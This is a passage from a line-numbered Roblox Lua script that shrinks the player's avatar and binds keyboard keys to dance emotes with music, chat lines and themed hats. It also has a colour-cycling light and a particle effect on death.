5466 | rl.Size = Vector3.new(.2, .4, .2) | |
5467 | ll.Size = Vector3.new(.2, .4, .2) | |
5468 | ra.Size = Vector3.new(.2, .4, .2) | |
5469 | la.Size = Vector3.new(.2, .4, .2) | |
5470 | torso.Size = Vector3.new(.4, .4, .2) | |
5471 | head.Size = Vector3.new(.4, .2, .2) | |
5472 | rh.Parent = torso | |
5473 | lh.Parent = torso | |
5474 | rs.Parent = torso | |
5475 | ls.Parent = torso | |
5476 | neck.Parent = torso | |
5477 | rj.Parent = rootpart | |
5478 | if torso:findFirstChild("roblox") then | |
5479 | local p = Instance.new("Part", char) | |
5480 | p.FormFactor = "Custom" | |
5481 | p.Size = torso.Size | |
5482 | p.Transparency = 1 | |
5483 | p:BreakJoints() | |
5484 | local w = Instance.new("Weld", char) | |
5485 | w.Part0 = p | |
5486 | w.Part1 = torso | |
5487 | torso:findFirstChild("roblox").Parent = p | |
5488 | end | |
5489 | mesh1 = Instance.new("SpecialMesh", torso) | |
5490 | mesh1.Name = "Mesh" | |
5491 | mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0) | |
5492 | mesh1.MeshId = "rbxasset://fonts/torso.mesh" | |
5493 | mesh2 = Instance.new("SpecialMesh", la) | |
5494 | mesh2.Name = "Mesh" | |
5495 | mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0) | |
5496 | mesh2.MeshId = "rbxasset://fonts/leftarm.mesh" | |
5497 | mesh3 = Instance.new("SpecialMesh", ra) | |
5498 | mesh3.Name = "Mesh" | |
5499 | mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0) | |
5500 | mesh3.MeshId = "rbxasset://fonts/rightarm.mesh" | |
5501 | mesh4 = Instance.new("SpecialMesh", ll) | |
5502 | mesh4.Name = "Mesh" | |
5503 | mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0) | |
5504 | mesh4.MeshId = "rbxasset://fonts/leftleg.mesh" | |
5505 | mesh5 = Instance.new("SpecialMesh", rl) | |
5506 | mesh5.Name = "Mesh" | |
5507 | mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0) | |
5508 | mesh5.MeshId = "rbxasset://fonts/rightleg.mesh" | |
5509 | ls.C0 = CFrame.new(-.3,.1,0) | |
5510 | ls.C1 = CFrame.new(0,.1,0) | |
5511 | rs.C0 = CFrame.new(.3,.1,0) | |
5512 | rs.C1 = CFrame.new(0,.1,0) | |
5513 | rh.C0 = CFrame.new(.1,-.2,0) | |
5514 | rh.C1 = CFrame.new(0, .2, 0) | |
5515 | lh.C0 = CFrame.new(-.1,-.2,0) | |
5516 | lh.C1 = CFrame.new(0, .2, 0) | |
5517 | neck.C0 = CFrame.new(0,.2,0) | |
5518 | neck.C1 = CFrame.new(0,-.1,0) | |
5519 | bodyc = char:findFirstChild("Body Colors") | |
5520 | if bodyc then | |
5521 | bodyc:Destroy() | |
5522 | end | |
5523 | wait(0.1) | |
5524 | skincolor = {"Pastel brown"} | |
5525 | clothcolor = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"} | |
5526 | skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)]) | |
5527 | clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)]) | |
5528 | function restorecolors() | |
5529 | for _,bp in pairs(char:children()) do | |
5530 | if bp:IsA("BasePart") then | |
5531 | bp.BrickColor = skincolorrandom | |
5532 | end | |
5533 | end | |
5534 | torso.BrickColor = clothcolorrandom | |
5535 | ll.BrickColor = clothcolorrandom | |
5536 | rl.BrickColor = clothcolorrandom | |
5537 | end | |
5538 | restorecolors() | |
5539 | local LightForTorso = Instance.new("PointLight", head) | |
5540 | LightForTorso.Range = 15 | |
5541 | LightForTorso.Brightness = 20 | |
5542 | coroutine.wrap(function() | |
5543 | while LightForTorso ~= nil do | |
5544 | LightForTorso.Color = Color3.new(math.random(), math.random(), math.random()) | |
5545 | wait(0.8) | |
5546 | end | |
5547 | end)() | |
5548 | local slidecount = 0 | |
5549 | local slidecountmax = 0 | |
5550 | local anim = "" | |
5551 | local lastanim = anim | |
5552 | local speed = 0 | |
5553 | local looking = false | |
5554 | local dancing = false | |
5555 | local superannoying = false | |
5556 | local barrelroll = false | |
5557 | local dubstepgun = false | |
5558 | local foxie = false | |
5559 | local durka = false | |
5560 | local saxguy = false | |
5561 | local heya = false | |
5562 | local jb = false | |
5563 | local bronymusic = false | |
5564 | local sheddy = false | |
5565 | local burndem = false | |
5566 | local canttt = false | |
5567 | local global_wait = 0 | |
5568 | count = 0 | |
5569 | countspeed = 1 | |
5570 | sine = 0 | |
5571 | sinespeed = 1 | |
5572 | humanoid.WalkSpeed = 20 | |
5573 | local controllerService = game:GetService("ControllerService") | |
5574 | local controller = controllerService:GetChildren()[1] | |
5575 | local colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"} | |
5576 | humanoid.Died:connect(function() | |
5577 | for cframe_parts = 0, 100 do | |
5578 | local p = Instance.new("Part") | |
5579 | p.FormFactor = "Custom" | |
5580 | p.BrickColor = BrickColor.new(colors[math.random(1, #colors)]) | |
5581 | p.Size = Vector3.new(1, 1, 1) | |
5582 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05) | |
5583 | p.Locked = true | |
5584 | p.CanCollide = false | |
5585 | p.Anchored = true | |
5586 | p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36)) | |
5587 | p.Parent = workspace | |
5588 | game:service'Debris':AddItem(p, 5) | |
5589 | coroutine.wrap(function() | |
5590 | while wait() do | |
5591 | if p ~= nil then | |
5592 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
5593 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
5594 | p.Transparency = p.Transparency + 0.015 | |
5595 | else | |
5596 | break | |
5597 | end | |
5598 | end | |
5599 | end)() | |
5600 | end | |
5601 | for _,v in pairs(char:children()) do | |
5602 | if v:IsA("Part") then | |
5603 | v:Destroy() | |
5604 | end | |
5605 | end | |
5606 | end) | |
5607 | mouse.KeyDown:connect(function(k) | |
5608 | if string.byte(k) == 50 then | |
5609 | if dancing then return end | |
5610 | sitting = not sitting | |
5611 | if sitting then | |
5612 | local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0)) | |
5613 | local hitz,enz = workspace:FindPartOnRay(ray, char) | |
5614 | if hitz then | |
5615 | controller.Parent = nil | |
5616 | humanoid.WalkSpeed = 0 | |
5617 | coroutine.wrap(function() | |
5618 | while wait() do | |
5619 | humanoid.PlatformStand = true | |
5620 | if sitting == false then humanoid.PlatformStand = false break end | |
5621 | end | |
5622 | end)() | |
5623 | rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0) | |
5624 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16) | |
5625 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16) | |
5626 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10) | |
5627 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10) | |
5628 | miniweld = Instance.new("Weld", char) | |
5629 | miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame) | |
5630 | miniweld.Part0 = hitz | |
5631 | miniweld.Part1 = rootpart | |
5632 | else | |
5633 | sitting = false | |
5634 | return | |
5635 | end | |
5636 | else | |
5637 | if miniweld then | |
5638 | miniweld:Destroy() | |
5639 | end | |
5640 | controller.Parent = controllerService | |
5641 | humanoid.PlatformStand = false | |
5642 | humanoid.WalkSpeed = 30 | |
5643 | end | |
5644 | end | |
5645 | if string.byte(k) == 32 then | |
5646 | fwutters:Stop() | |
5647 | uni:Stop() | |
5648 | Cobalt1164l:Stop() | |
5649 | qq:Stop() | |
5650 | ann:Stop() | |
5651 | nyan:Stop() | |
5652 | sctmn:Stop() | |
5653 | cant:Stop() | |
5654 | superannoying = false | |
5655 | barrelroll = false | |
5656 | heya = false | |
5657 | dubstepgun = false | |
5658 | youpirate = false | |
5659 | canttouch = false | |
5660 | gangnam = false | |
5661 | sheddy = false | |
5662 | durka = false | |
5663 | saxguy = false | |
5664 | foxie = false | |
5665 | burndem = false | |
5666 | bronymusic = false | |
5667 | canttt = false | |
5668 | land_of_swords:stop() | |
5669 | brony_music:stop() | |
5670 | fox_say:stop() | |
5671 | spitfire:stop() | |
5672 | heman:stop() | |
5673 | doge:Stop() | |
5674 | justin:stop() | |
5675 | jb = false | |
5676 | durk:stop() | |
5677 | restorecolors() | |
5678 | burn_dem:stop() | |
5679 | if hat then | |
5680 | hat:Destroy() | |
5681 | end | |
5682 | sax_guy:stop() | |
5683 | gangy_style:stop() | |
5684 | cant_touch:stop() | |
5685 | you_are_pirate:stop() | |
5686 | dubstep_gun:stop() | |
5687 | super_annoying:stop() | |
5688 | barrel_roll:stop() | |
5689 | dancing = false | |
5690 | global_wait = 0 | |
5691 | LightForTorso.Color = torso.BrickColor.Color | |
5692 | end | |
5693 | if k == "z" then | |
5694 | if dancing then return end | |
5695 | if not sitting then | |
5696 | dancing = true | |
5697 | game:GetService("Chat"):Chat(head,"Jb Time!",0) | |
5698 | jb = true | |
5699 | super_annoying:play() | |
5700 | hat = Instance.new("Part", char) | |
5701 | hat.FormFactor = "Custom" | |
5702 | hat.CanCollide = false | |
5703 | hat.Size = head.Size | |
5704 | hat.Locked = true | |
5705 | hat:breakJoints() | |
5706 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5707 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=84302661" | |
5708 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=84302759" | |
5709 | hatmesh.Scale = Vector3.new(.2, .2, .2) | |
5710 | local hatweld = Instance.new("Weld", hat) | |
5711 | hatweld.Part0 = hat | |
5712 | hatweld.Part1 = head | |
5713 | hatweld.C0 = CFrame.new(0, -0.6, 0) | |
5714 | end | |
5715 | end | |
5716 | if k == "=" then | |
5717 | if dancing then return end | |
5718 | if not sitting then | |
5719 | dancing = true | |
5720 | canttt = true | |
5721 | cant:play() | |
5722 | game:GetService("Chat"):Chat(head,"Can't touch me!",0) | |
5723 | end | |
5724 | end | |
5725 | if k == "u" then | |
5726 | if dancing then return end | |
5727 | if not sitting then | |
5728 | dancing = true | |
5729 | game:GetService("Chat"):Chat(head,"I'm a scat man!",0) | |
5730 | saxguy = true | |
5731 | sctmn:play() | |
5732 | hat = Instance.new("Part", char) | |
5733 | hat.FormFactor = "Custom" | |
5734 | hat.CanCollide = false | |
5735 | hat.Size = head.Size | |
5736 | hat.Locked = true | |
5737 | hat:breakJoints() | |
5738 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5739 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=43996479" | |
5740 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=43997070" | |
5741 | hatmesh.Scale = Vector3.new(.0925, .0925, .0925) | |
5742 | local hatweld = Instance.new("Weld", hat) | |
5743 | hatweld.Part0 = hat | |
5744 | hatweld.Part1 = la | |
5745 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
5746 | end | |
5747 | end | |
5748 | ||
5749 | if k == "k" then | |
5750 | if dancing then return end | |
5751 | if not sitting then | |
5752 | dancing = true | |
5753 | game:GetService("Chat"):Chat(head,"Ain't anybody got time for dat!",0) | |
5754 | sheddy = true | |
5755 | spitfire:play() | |
5756 | end | |
5757 | end | |
5758 | if k == "," then | |
5759 | if dancing then return end | |
5760 | if not sitting then | |
5761 | dancing = true | |
5762 | game:GetService("Chat"):Chat(head,"Land of swords!",0) | |
5763 | foxie = true | |
5764 | land_of_swords:play() | |
5765 | hat = Instance.new("Part", char) | |
5766 | hat.FormFactor = "Custom" | |
5767 | hat.CanCollide = false | |
5768 | hat.Size = head.Size | |
5769 | hat.Locked = true | |
5770 | hat:breakJoints() | |
5771 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5772 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1285237" | |
5773 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=118666588" | |
5774 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
5775 | local hatweld = Instance.new("Weld", hat) | |
5776 | hatweld.Part0 = hat | |
5777 | hatweld.Part1 = la | |
5778 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
5779 | end | |
5780 | end | |
5781 | ||
5782 | if k == "p" then | |
5783 | if dancing then return end | |
5784 | if not sitting then | |
5785 | dancing = true | |
5786 | foxie = true | |
5787 | game:GetService("Chat"):Chat(head,"It's raining tacos!",0) | |
5788 | qq:play() | |
5789 | hat = Instance.new("Part", char) | |
5790 | hat.FormFactor = "Custom" | |
5791 | hat.CanCollide = false | |
5792 | hat.Size = head.Size | |
5793 | hat.Locked = true | |
5794 | hat:breakJoints() | |
5795 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5796 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=14846869" | |
5797 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=14846834" | |
5798 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
5799 | local hatweld = Instance.new("Weld", hat) | |
5800 | hatweld.Part0 = hat | |
5801 | hatweld.Part1 = la | |
5802 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
5803 | end | |
5804 | end | |
5805 | ||
5806 | if k == ";" then | |
5807 | if dancing then return end | |
5808 | if not sitting then | |
5809 | dancing = true | |
5810 | game:GetService("Chat"):Chat(head,"PICK THE UNICORN!",0) | |
5811 | heya = true | |
5812 | uni:play() | |
5813 | hat = Instance.new("Part", char) | |
5814 | hat.FormFactor = "Custom" | |
5815 | hat.CanCollide = false | |
5816 | hat.Size = head.Size | |
5817 | hat.Locked = true | |
5818 | hat:breakJoints() | |
5819 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5820 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=84003494" | |
5821 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=83992632" | |
5822 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
5823 | local hatweld = Instance.new("Weld", hat) | |
5824 | hatweld.Part0 = hat | |
5825 | hatweld.Part1 = la | |
5826 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
5827 | end | |
5828 | end | |
5829 | ||
5830 | if k == "n" then | |
5831 | if dancing then return end | |
5832 | if not sitting then | |
5833 | dancing = true | |
5834 | game:GetService("Chat"):Chat(head,"Gangnam Style!",0) | |
5835 | gangnam = true | |
5836 | gangy_style:play() | |
5837 | end | |
5838 | end | |
5839 | if k == "t" then | |
5840 | if dancing then return end | |
5841 | if not sitting then | |
5842 | dancing = true | |
5843 | game:GetService("Chat"):Chat(head,"x3",0) | |
5844 | heya = true | |
5845 | ann:play() | |
5846 | end | |
5847 | end | |
5848 | if k == "-" then | |
5849 | if dancing then return end | |
5850 | if not sitting then | |
5851 | dancing = true | |
5852 | game:GetService("Chat"):Chat(head,"TROCobalt1164OCobalt1164OLO",0) | |
5853 | heya = true | |
5854 | Cobalt1164l:play() | |
5855 | end | |
5856 | end | |
5857 | ||
5858 | if k == "r" then | |
5859 | if dancing then return end | |
5860 | if not sitting then | |
5861 | dancing = true | |
5862 | game:GetService("Chat"):Chat(head,"BURN! BURN THEM!",0) | |
5863 | burndem = true | |
5864 | burn_dem:play() | |
5865 | end | |
5866 | end | |
5867 | if k == "x" then | |
5868 | if dancing then return end | |
5869 | if not sitting then | |
5870 | dancing = true | |
5871 | game:GetService("Chat"):Chat(head,"Do the barrel roll!",0) | |
5872 | barrelroll = true | |
5873 | barrel_roll:play() | |
5874 | hat = Instance.new("Part", char) | |
5875 | hat.FormFactor = "Custom" | |
5876 | hat.CanCollide = false | |
5877 | hat.Size = torso.Size | |
5878 | hat.Locked = true | |
5879 | hat:breakJoints() | |
5880 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5881 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142" | |
5882 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063" | |
5883 | hatmesh.Scale = Vector3.new(.22, .2, .22) | |
5884 | local hatweld = Instance.new("Weld", hat) | |
5885 | hatweld.Part0 = hat | |
5886 | hatweld.Part1 = torso | |
5887 | end | |
5888 | end | |
5889 | if k == "h" then | |
5890 | if dancing then return end | |
5891 | if not sitting then | |
5892 | dancing = true | |
5893 | game:GetService("Chat"):Chat(head,":D",0) | |
5894 | heman:play() | |
5895 | heya = true | |
5896 | hat = Instance.new("Part", char) | |
5897 | hat.FormFactor = "Custom" | |
5898 | hat.CanCollide = false | |
5899 | hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01) | |
5900 | hat.Locked = true | |
5901 | hat.BrickColor = BrickColor.new("Hot pink") | |
5902 | hat:breakJoints() | |
5903 | local hatweld = Instance.new("Weld", hat) | |
5904 | hatweld.Part0 = hat | |
5905 | hatweld.Part1 = torso | |
5906 | end | |
5907 | end | |
5908 | if k == "j" then | |
5909 | if dancing then return end | |
5910 | if not sitting then | |
5911 | dancing = true | |
5912 | game:GetService("Chat"):Chat(head,"Don drop dat durk durk!",0) | |
5913 | justin:play() | |
5914 | jb = true | |
5915 | hat = Instance.new("Part", char) | |
5916 | hat.FormFactor = "Custom" | |
5917 | hat.CanCollide = false | |
5918 | hat.Size = head.Size | |
5919 | hat.Locked = true | |
5920 | hat.BrickColor = BrickColor.new("Hot pink") | |
5921 | hat:breakJoints() | |
5922 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5923 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424" | |
5924 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982" | |
5925 | hatmesh.Scale = Vector3.new(.23, .23, .23) | |
5926 | local hatweld = Instance.new("Weld", hat) | |
5927 | hatweld.Part0 = hat | |
5928 | hatweld.Part1 = head | |
5929 | hatweld.C0 = CFrame.new(0.025, -0.05, 0) | |
5930 | end | |
5931 | end | |
5932 | ||
5933 | if k == "'" then | |
5934 | if dancing then return end | |
5935 | if not sitting then | |
5936 | dancing = true | |
5937 | fwutters:play() | |
5938 | game:GetService("Chat"):Chat(head,"Da Fwutters!",0) | |
5939 | bronymusic = true | |
5940 | for _,bp in pairs(char:children()) do | |
5941 | if bp:IsA("BasePart") then | |
5942 | bp.BrickColor = BrickColor.new("Cool yellow") | |
5943 | end | |
5944 | end | |
5945 | hat = Instance.new("Part", char) | |
5946 | hat.FormFactor = "Custom" | |
5947 | hat.CanCollide = false | |
5948 | hat.Size = head.Size | |
5949 | hat.Locked = true | |
5950 | hat.BrickColor = BrickColor.new("Cool yellow") | |
5951 | hat:breakJoints() | |
5952 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5953 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=82348513" | |
5954 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=36527326" | |
5955 | hatmesh.Scale = Vector3.new(.28, .28, .28) | |
5956 | local hatweld = Instance.new("Weld", hat) | |
5957 | hatweld.Part0 = hat | |
5958 | hatweld.Part1 = head | |
5959 | hatweld.C0 = CFrame.new(0.025, 0, 0) | |
5960 | end | |
5961 | end | |
5962 | ||
5963 | if k == "c" then | |
5964 | if dancing then return end | |
5965 | if not sitting then | |
5966 | dancing = true | |
5967 | game:GetService("Chat"):Chat(head,"Yayyy! Caramell!",0) | |
5968 | dubstepgun = true | |
5969 | dubstep_gun:play() | |
5970 | end | |
5971 | end | |
5972 | ||
5973 | if k == "v" then | |
5974 | if dancing then return end | |
5975 | if not sitting then | |
5976 | dancing = true | |
5977 | game:GetService("Chat"):Chat(head,"I am a pirate!",0) | |
5978 | youpirate = true | |
5979 | you_are_pirate:play() | |
5980 | hat = Instance.new("Part", char) | |
5981 | hat.FormFactor = "Custom" | |
5982 | hat.CanCollide = false | |
5983 | hat.Size = head.Size | |
5984 | hat.Locked = true | |
5985 | hat:breakJoints() | |
5986 | local hatmesh = Instance.new("SpecialMesh", hat) | |
5987 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848" | |
5988 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847" | |
5989 | hatmesh.Scale = Vector3.new(.2, .2, .2) | |
5990 | local hatweld = Instance.new("Weld", hat) | |
5991 | hatweld.Part0 = hat | |
5992 | hatweld.Part1 = head | |
5993 | hatweld.C0 = CFrame.new(0, -0.15, 0) | |
5994 | end | |
5995 | end | |
5996 | if k == "m" then | |
5997 | if dancing then return end | |
5998 | if not sitting then | |
5999 | dancing = true | |
6000 | game:GetService("Chat"):Chat(head,"Can't touch this!",0) | |
6001 | canttouch = true | |
6002 | cant_touch:play() | |
6003 | end | |
6004 | end | |
6005 | if k == "b" then | |
6006 | if dancing then return end | |
6007 | if not sitting then | |
6008 | dancing = true | |
6009 | game:GetService("Chat"):Chat(head,"Now for brony music!",0) | |
6010 | bronymusic = true | |
6011 | brony_music:play() | |
6012 | for _,bp in pairs(char:children()) do | |
6013 | if bp:IsA("BasePart") then | |
6014 | bp.BrickColor = BrickColor.new("Pink") | |
6015 | end | |
6016 | end | |
6017 | hat = Instance.new("Part", char) | |
6018 | hat.FormFactor = "Custom" | |
6019 | hat.CanCollide = false | |
6020 | hat.Size = head.Size | |
6021 | hat.Locked = true | |
6022 | hat.BrickColor = BrickColor.new("Lavender") | |
6023 | hat:breakJoints() | |
6024 | local hatmesh = Instance.new("SpecialMesh", hat) | |
6025 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1095708" | |
6026 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=60375192" | |
6027 | hatmesh.Scale = Vector3.new(.25, .25, .45) | |
6028 | local hatweld = Instance.new("Weld", hat) | |
6029 | hatweld.Part0 = hat | |
6030 | hatweld.Part1 = head | |
6031 | hatweld.C0 = CFrame.new(0, -0.1, 0.05) | |
6032 | end | |
6033 | end | |
6034 | ||
6035 | if k == "y" then | |
6036 | if dancing then return end | |
6037 | if not sitting then | |
6038 | dancing = true | |
6039 | bronymusic = true | |
6040 | nyan:play() | |
6041 | for _,bp in pairs(char:children()) do | |
6042 | if bp:IsA("BasePart") then | |
6043 | bp.BrickColor = BrickColor.new("Dark stone grey") | |
6044 | end | |
6045 | end | |
6046 | game:GetService("Chat"):Chat(head,"Nyan nyan nyan nyan!",0) | |
6047 | hat = Instance.new("Part", char) | |
6048 | hat.FormFactor = "Custom" | |
6049 | hat.CanCollide = false | |
6050 | hat.Size = head.Size | |
6051 | hat.Locked = true | |
6052 | hat.BrickColor = BrickColor.new("Dark stone grey") | |
6053 | hat:breakJoints() | |
6054 | local hatmesh = Instance.new("SpecialMesh", hat) | |
6055 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1374148" | |
6056 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=117119031" | |
6057 | hatmesh.Scale = Vector3.new(.2, .30, .2) | |
6058 | local hatweld = Instance.new("Weld", hat) | |
6059 | hatweld.Part0 = hat | |
6060 | hatweld.Part1 = head | |
6061 | hatweld.C0 = CFrame.new(0, -0.15, 0.05) | |
6062 | end | |
6063 | end | |
6064 | ||
6065 | if k == "l" then | |
6066 | if dancing then return end | |
6067 | if not sitting then | |
6068 | dancing = true | |
6069 | game:GetService("Chat"):Chat(head,"What does the fox say?!",0) | |
6070 | foxie = true | |
6071 | fox_say:play() | |
6072 | hat = Instance.new("Part", char) | |
6073 | hat.FormFactor = "Custom" | |
6074 | hat.CanCollide = false | |
6075 | hat.Size = head.Size | |
6076 | hat.Locked = true | |
6077 | hat:breakJoints() | |
6078 | local hatmesh = Instance.new("SpecialMesh", hat) | |
6079 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225" | |
6080 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210" | |
6081 | hatmesh.Scale = Vector3.new(.2, .2, .2) | |
6082 | local hatweld = Instance.new("Weld", hat) | |
6083 | hatweld.Part0 = hat | |
6084 | hatweld.Part1 = head | |
6085 | hatweld.C0 = CFrame.new(0, -0.1, 0) | |
6086 | end | |
6087 | ||
6088 | end | |
6089 | if k == "f" then | |
6090 | if dancing then return end | |
6091 | if not sitting then | |
6092 | dancing = true | |
6093 | game:GetService("Chat"):Chat(head,"I'm wakin up!",0) | |
6094 | durka = true | |
6095 | durk:play() | |
6096 | end | |
6097 | end | |
6098 | if k == "g" then | |
6099 | if dancing then return end | |
6100 | if not sitting then | |
6101 | dancing = true | |
6102 | game:GetService("Chat"):Chat(head,"Now for some more music",0) | |
6103 | saxguy = true | |
6104 | sax_guy:play() | |
6105 | hat = Instance.new("Part", char) | |
6106 | hat.FormFactor = "Custom" | |
6107 | hat.CanCollide = false | |
6108 | hat.Size = head.Size | |
6109 | hat.Locked = true | |
6110 | hat:breakJoints() | |
6111 | local hatmesh = Instance.new("SpecialMesh", hat) | |
6112 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178" | |
6113 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320" | |
6114 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
6115 | local hatweld = Instance.new("Weld", hat) | |
6116 | hatweld.Part0 = hat | |
6117 | hatweld.Part1 = la | |
6118 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
6119 | end | |
6120 | end | |
6121 | ||
6122 | ||
6123 | ||
6124 | ||
6125 | if k == "q" then | |
6126 | if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end | |
6127 | if sitting then return end | |
6128 | looking = true | |
6129 | game:GetService("Chat"):Chat(head,"I'm just tiltin",0) | |
6130 | rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4) | |
6131 | end | |
6132 | if k == "e" then | |
6133 | if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end | |
6134 | if sitting then return end | |
6135 | looking = true | |
6136 | game:GetService("Chat"):Chat(head,"What's wrong with tilting?",0) | |
6137 | rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4) | |
6138 | end | |
6139 | if string.byte(k) == 48 or string.byte(k) == 47 then | |
6140 | if sitting then return end | |
6141 | humanoid.WalkSpeed = 30 | |
6142 | end | |
6143 | if string.byte(k) == 52 then | |
6144 | if sitting then return end | |
6145 | humanoid.WalkSpeed = 10 | |
6146 | end | |
6147 | end) | |
6148 | ||
6149 | mouse.KeyUp:connect(function(k) | |
6150 | if string.byte(k) == 48 or string.byte(k) == 47 then | |
6151 | if sitting then return end | |
6152 | humanoid.WalkSpeed = 20 | |
6153 | end | |
6154 | if string.byte(k) == 32 then | |
6155 | game:GetService("Chat"):Chat(head,"Party's over! For now...",0) | |
6156 | superannoying = false | |
6157 | barrelroll = false | |
6158 | heya = false | |
6159 | dubstepgun = false | |
6160 | youpirate = false | |
6161 | canttouch = false | |
6162 | gangnam = false | |
6163 | sheddy = false | |
6164 | durka = false | |
6165 | saxguy = false | |
6166 | foxie = false | |
6167 | burndem = false | |
6168 | bronymusic = false | |
6169 | canttt = false | |
6170 | brony_music:stop() | |
6171 | cant:Stop() | |
6172 | fox_say:stop() | |
6173 | spitfire:stop() | |
6174 | heman:stop() | |
6175 | justin:stop() | |
6176 | jb = false | |
6177 | durk:stop() | |
6178 | restorecolors() | |
6179 | burn_dem:stop() | |
6180 | if hat then | |
6181 | hat:Destroy() | |
6182 | end | |
6183 | sax_guy:stop() | |
6184 | gangy_style:stop() | |
6185 | cant_touch:stop() | |
6186 | you_are_pirate:stop() | |
6187 | dubstep_gun:stop() | |
6188 | super_annoying:stop() | |
6189 | barrel_roll:stop() | |
6190 | dancing = false | |
6191 | global_wait = 0 | |
6192 | LightForTorso.Color = torso.BrickColor.Color | |
6193 | end | |
6194 | ||
6195 | ||
6196 | if k == "q" then | |
6197 | if looking then | |
6198 | if sitting then return end | |
6199 | rj.C0 = CFrame.new() | |
6200 | looking = false | |
6201 | end | |
6202 | end | |
6203 | ||
6204 | if k == "e" then | |
6205 | if looking then | |
6206 | if sitting then return end | |
6207 | rj.C0 = CFrame.new() | |
6208 | looking = false | |
6209 | end | |
6210 | end | |
6211 | end) | |
6212 | ||
6213 | ||
6214 | game:service'RunService'.Stepped:connect(function() | |
6215 | count = (count % 100) + countspeed | |
6216 | angle = math.pi * math.sin(math.pi*2/100*count) | |
6217 | ||
6218 | if slidecount < slidecountmax then | |
6219 | slidecount = slidecount + speed | |
6220 | end | |
6221 | if slidecount > slidecountmax then | |
6222 | slidecount = slidecount - speed | |
6223 | end | |
6224 | if global_wait == 380 then global_wait = 0 end | |
6225 | ||
6226 | sine = sine + sinespeed | |
6227 | if not dancing then | |
6228 | if not sitting then | |
6229 | local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0)) | |
6230 | local hitz, enz = workspace:FindPartOnRay(ray, char) | |
6231 | if not hitz then | |
